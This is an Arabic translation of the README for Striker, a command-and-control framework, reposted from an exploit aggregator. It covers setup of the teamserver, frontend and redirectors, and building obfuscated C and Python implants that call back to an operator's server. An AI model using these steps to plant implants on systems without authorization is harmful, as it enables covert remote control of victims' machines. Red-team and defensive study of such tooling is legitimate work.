## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-4G3NT47-STRIKER
# Striker C2
**Striker** هو برنامج _قيادة وتحكم_ (C2) بسيط.

## إخلاء مسؤولية

هذا المشروع قيد التطوير النشط. معظم الميزات تجريبية، وسيأتي المزيد. توقع تغييرات جذرية.
## الميزات
**أ) الوكلاء (Agents)**
* وكلاء أصليون لأنظمة لينكس وويندوز.
* وكيل بايثون مكتفي ذاتيًا وبسيط في حال احتجته.
* قنوات HTTP(s).
* تنفيذ المهام بشكل غير متزامن.
* دعم لعدة موجهات (redirectors)، مع إمكانية التبديل إلى أخرى عند تعطل الموجه النشط.
**ب) الخلفية / خادم الفريق (Backend / Teamserver)**
* يدعم عدة مشغلين.
* معظم الميزات متاحة عبر REST API، مما يسهل أتمتة الأمور.
* يستخدم Web Sockets للاتصال الأسرع.
**ج) واجهة المستخدم (User Interface)**
* واجهة سلسة وتفاعلية بفضل _Svelte_ و _SocketIO_.
* سهلة التهيئة لأنها تُجمّع في ملفات HTML و JavaScript و CSS ثابتة، ويمكن استضافتها بأبسط خادم ويب تجده.
* ميزة الدردشة الجماعية للتواصل مع المشغلين الآخرين عبر النص.
## تثبيت Striker
انسخ المستودع؛
root@kitploit:~
$ git clone https://github.com/4g3nt47/Striker.git
$ cd Striker
تنقسم قاعدة الشيفرة إلى 4 أقسام مستقلة؛
### 1\. خادم C2 / الخلفية (The C2 Server / Backend)
هذا يتعامل مع جميع منطق الخادم لكل من المشغلين والعملاء. وهو تطبيق `NodeJS` مصنوع باستخدام؛
* `express` \- لـ REST API.
* `socket.io` \- للاتصال عبر Web Socket.
* `mongoose` \- للاتصال بـ _MongoDB_.
* `multer` \- للتعامل مع رفع الملفات.
* `bcrypt` \- لتجزئة كلمات مرور المستخدمين.
الشيفرة المصدرية موجودة في دليل `backend/`. لإعداد الخادم؛
1. إعداد قاعدة بيانات MongoDB؛
يستخدم Striker MongoDB كقاعدة بيانات خلفية لتخزين جميع البيانات المهمة. يمكنك تثبيتها محليًا على جهازك باستخدام هذا الدليل للتوزيعات المبنيّة على دبيان، أو إنشاء واحدة مجانية باستخدام MongoDB Atlas (منصة قاعدة بيانات كخدمة).
2. الانتقال إلى دليل الشيفرة المصدرية؛
root@kitploit:~
$ cd backend
3. تثبيت التبعيات؛
root@kitploit:~
$ npm install
4. إنشاء دليل للملفات الثابتة؛
root@kitploit:~
$ mkdir static
يمكنك استخدام هذا المجلد لاستضافة الملفات الثابتة على الخادم. يجب أن يكون هذا أيضًا هو المكان الذي تم تعيين `UPLOAD_LOCATION` إليه في ملف `.env` (المزيد عن هذا لاحقًا)، لكن هذا ليس ضروريًا. ستكون الملفات في هذا الدليل متاحة للعموم تحت المسار `/static/`.
5. إنشاء ملف `.env`؛
ملاحظة: القيم بين `<` و `>` هي عناصر نائبة. استبدلها بقيم مناسبة (بما في ذلك `<>`). للحقول التي تتطلب سلاسل عشوائية، يمكنك توليدها بسهولة باستخدام؛
root@kitploit:~
$ head -c 100 /dev/urandom | sha256sum
root@kitploit:~
DB_URL=<your MongoDB connection URL>
HOST=<host to listen on (default: 127.0.0.1)>
PORT=<port to listen on (default: 3000)>
SECRET=<random string to use for signing session cookies and encrypting session data>
ORIGIN_URL=<full URL of the server you will be hosting the frontend at. Used to setup CORS>
REGISTRATION_KEY=<random string to use for authentication during signup>
MAX_UPLOAD_SIZE=<max file upload size, in bytes>
UPLOAD_LOCATION=<directory to store uploaded files to (default: static)>
SSL_KEY=<your SSL key file (optional)>
SSL_CERT=<your SSL cert file (optional)>
لاحظ أن `SSL_KEY` و `SSL_CERT` اختياريان. إذا لم يتم تعريف أي منهما، فسيتم إنشاء خادم HTTP عادي. وهذا يساعد في تجنب العبء غير الضروري عند تشغيل الخادم خادم خلف وكيل عكسي مع تمكين SSL على نفس المضيف.
6. تشغيل الخادم؛
root@kitploit:~
$ node index.js
[12:45:30 PM] Connecting to backend database...
[12:45:31 PM] Starting HTTP server...
[12:45:31 PM] Server started on port: 3000
### 2\. الواجهة الأمامية (The Frontend)
هذه هي واجهة الويب التي يستخدمها المشغلون. وهي تطبيق ويب من صفحة واحدة مكتوب بلغة _Svelte_ ، والشيفرة المصدرية موجودة في دليل `frontend/`.
لإعداد الواجهة الأمامية؛
1. الانتقال إلى دليل الشيفرة المصدرية؛
root@kitploit:~
$ cd frontend
2. تثبيت التبعيات؛
root@kitploit:~
$ npm install
3. إنشاء ملف `.env` مع المتغير `VITE_STRIKER_API` مضبوطًا على عنوان URL الكامل لخادم C2 كما تم تكوينه أعلاه؛
root@kitploit:~
VITE_STRIKER_API=https://c2.striker.local
4. البناء؛
root@kitploit:~
$ npm run build
سيقوم ما سبق بتجميع كل شيء في تطبيق ويب ثابت في دليل `dist/`. يمكنك نقل جميع الملفات بداخله إلى جذر الويب لخادم الويب الخاص بك، أو حتى استضافته باستخدام خادم HTTP أساسي مثل خادم بايثون؛
root@kitploit:~
$ cd dist
$ python3 -m http.server 8000
5. التسجيل؛
* افتح الموقع في متصفح ويب. يجب أن ترى صفحة تسجيل الدخول.
* انقر على زر `Register`.
* أدخل اسم مستخدم، وكلمة مرور، ومفتاح التسجيل المستخدم (انظر `REGISTRATION_KEY` في `backend/.env`).
سيؤدي هذا إلى إنشاء حساب مستخدم عادي. ستحتاج إلى حساب مسؤول للوصول إلى بعض الميزات. يجب إنشاء حساب المسؤول الأول يدويًا، وبعد ذلك يمكنك ترقية حسابات الآخرين أو خفضها في علامة تبويب `Users` في واجهة الويب.
لإنشاء حساب المسؤول الأول؛
* اتصل بقاعدة بيانات MongoDB المستخدمة بواسطة الخلفية.
* قم بتحديث مجموعة `users` واضبط حقل `admin` للمستخدم المستهدف على `true`;
هناك طرق مختلفة للقيام بذلك. إذا كان لديك `mongo` متوفرًا في سطر الأوامر، يمكنك القيام بذلك باستخدام؛
root@kitploit:~
$ mongo <your MongoDB connection URL>
> db.users.updateOne({username: "<your username>"}, {$set: {admin: true}})
يجب أن تحصل على الرد التالي إذا نجح الأمر؛
root@kitploit:~
{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }
يمكنك الآن تسجيل الدخول :)
### 3\. موجه C2 (The C2 Redirector)
**أ) إعادة التوجيه عبر أنبوب بسيط (Dumb Pipe Redirection)**
يتوفر موجه أنبوب بسيط مكتوب لـ _Striker_ في `redirector/redirector.py`. من الواضح أن هذا سيعمل فقط مع حركة HTTP العادية، أو مع HTTPS عند تعطيل التحقق من SSL (يمكنك القيام بذلك عن طريق تمكين ماكرو `INSECURE_SSL` في وكيل C).
المثال التالي يستمع على المنفذ `443` على جميع الواجهات ويُمرّر إلى `c2.example.org` على المنفذ `443`؛
root@kitploit:~
$ cd redirector
$ ./redirector.py 0.0.0.0:443 c2.example.org:443
[*] Starting redirector on 0.0.0.0:443...
[+] Listening for connections...
**ب) خادم Nginx العكسي كموجه (Nginx Reverse Proxy as Redirector)**
1. تثبيت Nginx؛
root@kitploit:~
$ sudo apt install nginx
2. إنشاء تكوين مضيف افتراضي (مثال: `/etc/nginx/sites-available/striker`)؛
العناصر النائبة؛
* `<domain-name>` \- هذا هو اسم المضيف الكامل (FQDN) لخادمك، ويجب أن يتطابق مع الموجود في شهادة SSL الخاصة بك.
* `<ssl-cert>` \- ملف شهادة SSL المستخدم.
* `<ssl-key>` \- ملف مفتاح SSL المستخدم.
* `<c2-server>` \- عنوان URL الكامل لخادم C2 لإعادة توجيه الطلبات إليه.
تحذير: يجب أن يكون `client_max_body_size` كبيرًا بقدر الحجم المحدد بواسطة `MAX_UPLOAD_SIZE` في ملف `backend/.env` الخاص بك، وإلا ستفشل تحميلات الملفات الكبيرة.
root@kitploit:~
server {
listen 443 ssl;
server_name <domain-name>;
ssl_certificate <ssl-cert>;
ssl_certificate_key <ssl-key>;
client_max_body_size 100M;
access_log /var/log/nginx/striker.log;
location / {
proxy_pass <c2-server>;
proxy_redirect off;
proxy_ssl_verify off;
proxy_read_timeout 90;
proxy_http_version 1.0;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
3. تفعيله؛
root@kitploit:~
$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker
4. إعادة تشغيل Nginx؛
root@kitploit:~
$ sudo service nginx restart
يجب أن يكون الموجه الآن قيد التشغيل على المنفذ `443`، ويمكن اختباره باستخدام (بافتراض أن اسم المضيف الكامل هو `striker.local`)؛
root@kitploit:~
$ curl https://striker.local
إذا نجح الأمر، يجب أن تحصل على رد 404 الذي يستخدمه الخادم الخلفي، مثل؛
root@kitploit:~
{"error":"Invalid route!"}
### 4\. الوكلاء (الزرعات) (The Agents (Implants))
**أ) وكيل C (The C Agent)**
هذه هي الزرعات التي يستخدمها Striker. الوكيل الأساسي مكتوب بلغة C، ويقع في `agent/C/`. يدعم كلًا من مضيفي لينكس وويندوز. يعتمد وكيل لينكس خارجيًا على `libcurl`، والذي ستجده مثبتًا في معظم الأنظمة.
وكيل ويندوز لا يحتوي على تبعية خارجية. يستخدم `wininet` للاتصال، والذي أعتقد أنه متاح على جميع مضيفي ويندوز.
1. **البناء للينكس**
بافتراض أنك على مضيف 64 بت، سيبني ما يلي لمضيف 64 بت؛
root@kitploit:~
$ cd agent/C
$ mkdir bin
$ make
للبناء لنظام 32 بت على 64 بت؛
root@kitploit:~
$ sudo apt install gcc-multilib
$ make arch=32
يقوم ما سبق بتجميع كل شيء في دليل `bin/`. ستحتاج إلى ملفين فقط لإنشاء زرعات عاملة؛
* `bin/stub` \- هذا هو النواة (stub) للوكيل التي سيتم استخدامها كقالب لإنشاء زرعات عاملة.
* `bin/builder` \- هذا ما ستستخدمه لتعديل النواة لإنشاء زرعات عاملة.
يقبل الباني الوسيطات التالية؛
root@kitploit:~
$ ./bin/builder
[-] Usage: ./bin/builder <url> <auth_key> <delay> <stub> <outfile>
حيث؛
* `<url>` \- الخادم الذي سيبلغ عنه. من الأفضل أن يكون موجهًا (redirector)، لكن عنوان URL مباشر للخادم سيعمل أيضًا.
* `<auth_key>` \- مفتاح المصادقة لاستخدامه عند الاتصال بـ C2. يمكنك إنشاؤه في علامة تبويب _auth keys_ في واجهة الويب.
* `<delay>` \- التأخير بين كل رد اتصال، بالثواني. يجب أن يكون على الأقل 2، حسب مدى الضوضاء التي تريدها.
* `<stub>` \- ملف النواة المراد قراءته، `bin/stub` في هذه الحالة.
* `<outfile>` \- اسم ملف الخرج للزرعة الجديدة.
مثال؛
root@kitploit:~
$ ./bin/builder https://localhost:3000 979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker
[*] Obfuscating strings...
[+] 69 strings obfuscated :)
[*] Finding offsets of our markers...
[+] Offsets:
URL: 0x0000a2e0
OBFS Key: 0x0000a280
Auth Key: 0x0000a2a0
Delay: 0x0000a260
[*] Patcing...
[+] Operation completed!
2. **البناء لنظام ويندوز**
ستحتاج إلى _MinGW_ لهذا. سيقوم ما يلي بتثبيت بيئة تطوير ويندوز 32 و64 بت؛
root@kitploit:~
$ sudo apt install mingw-w64
البناء لنظام 64 بت؛
root@kitploit:~
$ cd agent/C
$ mdkir bin
$ make target=win
للترجمة لنظام 32 بت؛
root@kitploit:~
$ make target=win arch=32
سيقوم هذا بتجميع كل شيء في دليل `bin/`، وسيكون لديك الباني والنواة كـ `bin\stub.exe` و `bin\builder.exe`، على التوالي.
**ب) وكيل بايثون (The Python Agent)**
يأتي Striker أيضًا مع وكيل بايثون مكتفي ذاتيًا (تم اختباره على بايثون 2.7.16 و 3.7.3). يقع هذا في `agent/python/`. يتم تنفيذ الميزات الأساسية فقط في هذا الوكيل. مفيد للمضيفين الذين لا يمكنهم تشغيل وكيل C ولكن لديهم بايثون مثبتًا.
يوجد ملفان في هذا الدليل؛
* `stub.py` \- هذا هو نواة الحمولة لتمريرها إلى الباني.
* `builder.py` \- هذا ما ستستخدمه لإنشاء زرعة.
مثال الاستخدام:
root@kitploit:~
$ ./builder.py
[-] Usage: builder.py <url> <auth_key> <delay> <stub> <outfile>
# ما يالي سيولد حمولة عاملة كـ `output.py`
$ ./builder.py http://localhost:3000 979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py
[*] Loading agent stub...
[*] Writing configs...
[+] Agent built successfully: output.py
# تشغيلها
$ python3 output.py
## البدء
بعد اتباع التعليمات أعلاه، يجب أن يكون _Striker_ الآن جاهزًا للاستخدام. يُرجى الاطلاع على دليل الاستخدام. استمتع، واختراق سعيد!
## الدعم
إذا أعجبك المشروع، ففكر في مساعدتي في تحويل القهوة إلى كود!